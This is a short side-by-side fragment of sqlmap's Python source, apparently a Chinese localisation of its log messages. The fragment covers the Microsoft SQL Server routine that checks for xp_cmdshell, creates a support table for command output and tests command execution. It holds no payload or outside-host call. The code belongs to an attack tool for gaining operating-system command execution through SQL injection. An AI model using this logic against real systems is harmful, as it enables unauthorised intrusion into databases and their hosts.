warnMsg += "because sp_OACreate is disabled" warnMsg += "可能是因为sp_OACreate被禁用"
logger.warning(warnMsg) logger.warning(warnMsg)
hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable) hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable)
if not kb.xpCmdshellAvailable: if not kb.xpCmdshellAvailable:
errMsg = "unable to proceed without xp_cmdshell" errMsg = "无法在没有xp_cmdshell的情况下继续"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
debugMsg = "creating a support table to write commands standard " debugMsg = "创建支持表以写入命令标准输出"
debugMsg += "output to"
logger.debug(debugMsg) logger.debug(debugMsg)
# TEXT can't be used here because in error technique you get: # 创建支持表,使用NVARCHAR(4000)而不是TEXT类型
# "The text, ntext, and image data types cannot be compared or sorted" # 因为在错误技术中TEXT类型不能比较或排序
self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)") self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")
self._xpCmdshellTest() self._xpCmdshellTest()

Loading…
Cancel
Save